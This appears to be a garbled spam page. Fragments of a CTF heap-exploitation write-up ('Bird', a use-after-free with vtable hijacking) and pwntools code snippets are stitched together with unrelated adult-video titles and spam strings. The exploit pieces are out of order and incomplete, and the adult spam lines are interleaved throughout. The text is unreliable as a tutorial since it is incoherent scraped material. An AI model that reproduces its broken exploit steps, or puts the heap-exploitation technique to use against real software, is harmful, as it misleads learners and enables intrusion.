# Assume binary has a hidden function 'magic' at 0x4008a0 # Or we construct a call to system MAGIC_ADDR = 0x4008a0 Real Medical Fetish Amp Gynecological Examination Videos Free - Sexeclinic
def free(idx): p.sendlineafter('choice:', '2') p.sendlineafter('index:', str(idx)) Dass474 New Official
Here is a write-up for the classic challenge often cited in CTF archives. CTF Write-up: "Bird" (Pwnable.kr / Heap Exploitation) Challenge Category: Pwn Challenge Difficulty: Medium Keywords: Use-After-Free (UAF), Heap Exploitation, C++ Virtual Functions, vtable pointer. 1. Initial Analysis We are provided with a binary (often named bird or uaf ) and the source code. The goal is to get a shell on the remote server.
# Set up context context(arch='amd64', os='linux') p = process('./bird') # or remote('ip', port)
# 4. Trigger the virtual call # When we call sing(), it loads the address at fake_vtable_addr + offset # and jumps there. call_sing(0)